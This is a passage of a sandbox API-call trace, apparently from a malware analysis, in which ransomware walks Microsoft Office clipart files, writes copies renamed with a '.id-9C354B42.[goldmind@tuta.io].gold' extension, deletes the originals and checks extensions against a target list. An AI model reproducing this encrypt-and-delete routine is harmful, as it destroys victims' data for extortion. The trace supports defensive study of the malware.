office\\clipart\\pub60cor\\j0212299.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.123] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.123] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.123] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.124] GetLastError () returned 0x0 [0115.124] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x180e, lpOverlapped=0x0) returned 1 [0115.125] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x1810, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x1810, lpOverlapped=0x0) returned 1 [0115.126] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.126] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.126] SetEndOfFile (hFile=0x3d0) returned 1 [0115.126] CloseHandle (hObject=0x3d0) returned 1 [0115.126] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.126] SetEndOfFile (hFile=0x38c) returned 1 [0115.129] CloseHandle (hObject=0x38c) returned 1 [0115.129] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.129] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212299.wmf")) returned 1 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString=".doc") returned 4 [0115.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString=".docx") returned 5 [0115.130] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0115.130] lstrlenW (lpString=".pdf") returned 4 [0115.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString=".xls") returned 4 [0115.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.130] lstrlenW (lpString=".xlsx") returned 5 [0115.130] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0115.130] lstrlenW (lpString=".ppt") returned 4 [0115.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString=".zip") returned 4 [0115.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.130] lstrlenW (lpString=".rar") returned 4 [0115.130] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString=".bz2") returned 4 [0115.130] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString=".7z") returned 3 [0115.130] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString=".dbf") returned 4 [0115.130] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString=".1cd") returned 4 [0115.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString=".jpg") returned 4 [0115.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString=".doc") returned 4 [0115.130] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString=".docx") returned 5 [0115.130] lstrcmpiW (lpString1=".docx", lpString2="9.WMF") returned -1 [0115.130] lstrlenW (lpString=".pdf") returned 4 [0115.130] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString=".xls") returned 4 [0115.130] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.130] lstrlenW (lpString=".xlsx") returned 5 [0115.130] lstrcmpiW (lpString1=".xlsx", lpString2="9.WMF") returned -1 [0115.130] lstrlenW (lpString=".ppt") returned 4 [0115.130] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.130] lstrlenW (lpString=".zip") returned 4 [0115.130] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.131] lstrlenW (lpString=".rar") returned 4 [0115.131] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.131] lstrlenW (lpString=".bz2") returned 4 [0115.131] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.131] lstrlenW (lpString=".7z") returned 3 [0115.131] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.131] lstrlenW (lpString=".dbf") returned 4 [0115.131] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.131] lstrlenW (lpString=".1cd") returned 4 [0115.131] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.131] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212299.WMF") returned 63 [0115.131] lstrlenW (lpString=".jpg") returned 4 [0115.131] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.131] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.131] lstrlenW (lpString="J0212601.WMF") returned 12 [0115.131] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.132] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=9676) returned 1 [0115.132] CloseHandle (hObject=0x38c) returned 1 [0115.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf")) returned 0x20 [0115.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.132] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.132] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.132] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.133] GetLastError () returned 0x0 [0115.133] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x25cc, lpOverlapped=0x0) returned 1 [0115.134] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x25d0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x25d0, lpOverlapped=0x0) returned 1 [0115.135] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.135] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.135] SetEndOfFile (hFile=0x3d0) returned 1 [0115.135] CloseHandle (hObject=0x3d0) returned 1 [0115.135] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.135] SetEndOfFile (hFile=0x38c) returned 1 [0115.137] CloseHandle (hObject=0x38c) returned 1 [0115.137] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.138] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212601.wmf")) returned 1 [0115.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.138] lstrlenW (lpString=".doc") returned 4 [0115.138] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.138] lstrlenW (lpString=".docx") returned 5 [0115.138] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.138] lstrlenW (lpString=".pdf") returned 4 [0115.138] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.138] lstrlenW (lpString=".xls") returned 4 [0115.138] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.138] lstrlenW (lpString=".xlsx") returned 5 [0115.138] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.138] lstrlenW (lpString=".ppt") returned 4 [0115.138] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".zip") returned 4 [0115.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.139] lstrlenW (lpString=".rar") returned 4 [0115.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString=".bz2") returned 4 [0115.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString=".7z") returned 3 [0115.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".dbf") returned 4 [0115.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".1cd") returned 4 [0115.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".jpg") returned 4 [0115.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".doc") returned 4 [0115.139] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString=".docx") returned 5 [0115.139] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0115.139] lstrlenW (lpString=".pdf") returned 4 [0115.139] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString=".xls") returned 4 [0115.139] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.139] lstrlenW (lpString=".xlsx") returned 5 [0115.139] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0115.139] lstrlenW (lpString=".ppt") returned 4 [0115.139] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".zip") returned 4 [0115.139] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.139] lstrlenW (lpString=".rar") returned 4 [0115.139] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString=".bz2") returned 4 [0115.139] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString=".7z") returned 3 [0115.139] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".dbf") returned 4 [0115.139] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".1cd") returned 4 [0115.139] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.139] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212601.WMF") returned 63 [0115.139] lstrlenW (lpString=".jpg") returned 4 [0115.139] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.139] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.140] lstrlenW (lpString="J0212685.WMF") returned 12 [0115.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.140] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=6554) returned 1 [0115.140] CloseHandle (hObject=0x38c) returned 1 [0115.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf")) returned 0x20 [0115.140] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.140] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.141] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.141] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.141] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d0 [0115.141] GetLastError () returned 0x0 [0115.142] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x199a, lpOverlapped=0x0) returned 1 [0115.143] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0x19a0, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0x19a0, lpOverlapped=0x0) returned 1 [0115.144] ReadFile (in: hFile=0x38c, lpBuffer=0x3bd0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x315fed4, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesRead=0x315fed4*=0x0, lpOverlapped=0x0) returned 1 [0115.144] WriteFile (in: hFile=0x3d0, lpBuffer=0x3bd0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x315fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3bd0020*, lpNumberOfBytesWritten=0x315fc9c*=0xec, lpOverlapped=0x0) returned 1 [0115.144] SetEndOfFile (hFile=0x3d0) returned 1 [0115.144] CloseHandle (hObject=0x3d0) returned 1 [0115.144] SetFilePointerEx (in: hFile=0x38c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.144] SetEndOfFile (hFile=0x38c) returned 1 [0115.148] CloseHandle (hObject=0x38c) returned 1 [0115.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0115.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212685.wmf")) returned 1 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString=".doc") returned 4 [0115.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString=".docx") returned 5 [0115.150] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0115.150] lstrlenW (lpString=".pdf") returned 4 [0115.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString=".xls") returned 4 [0115.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.150] lstrlenW (lpString=".xlsx") returned 5 [0115.150] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0115.150] lstrlenW (lpString=".ppt") returned 4 [0115.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString=".zip") returned 4 [0115.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.150] lstrlenW (lpString=".rar") returned 4 [0115.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString=".bz2") returned 4 [0115.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString=".7z") returned 3 [0115.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString=".dbf") returned 4 [0115.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString=".1cd") returned 4 [0115.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString=".jpg") returned 4 [0115.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.150] lstrlenW (lpString=".doc") returned 4 [0115.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0115.150] lstrlenW (lpString=".docx") returned 5 [0115.150] lstrcmpiW (lpString1=".docx", lpString2="5.WMF") returned -1 [0115.150] lstrlenW (lpString=".pdf") returned 4 [0115.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0115.151] lstrlenW (lpString=".xls") returned 4 [0115.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0115.151] lstrlenW (lpString=".xlsx") returned 5 [0115.151] lstrcmpiW (lpString1=".xlsx", lpString2="5.WMF") returned -1 [0115.151] lstrlenW (lpString=".ppt") returned 4 [0115.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0115.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.151] lstrlenW (lpString=".zip") returned 4 [0115.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0115.151] lstrlenW (lpString=".rar") returned 4 [0115.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0115.151] lstrlenW (lpString=".bz2") returned 4 [0115.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0115.151] lstrlenW (lpString=".7z") returned 3 [0115.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0115.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.151] lstrlenW (lpString=".dbf") returned 4 [0115.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0115.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.151] lstrlenW (lpString=".1cd") returned 4 [0115.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0115.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212685.WMF") returned 63 [0115.151] lstrlenW (lpString=".jpg") returned 4 [0115.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0115.151] lstrcmpiW (lpString1=".WMF", lpString2=".gold") returned 1 [0115.151] lstrlenW (lpString="J0212751.WMF") returned 12 [0115.151] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0115.267] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x315ff1c | out: lpFileSize=0x315ff1c*=2060) returned 1 [0115.267] CloseHandle (hObject=0x38c) returned 1 [0115.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf")) returned 0x20 [0115.267] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0115.290] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0212751.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0212751.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0115.296] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.296] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x315fec8 | out: lpNewFilePointer=0x0) returned 1 [0115.296] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 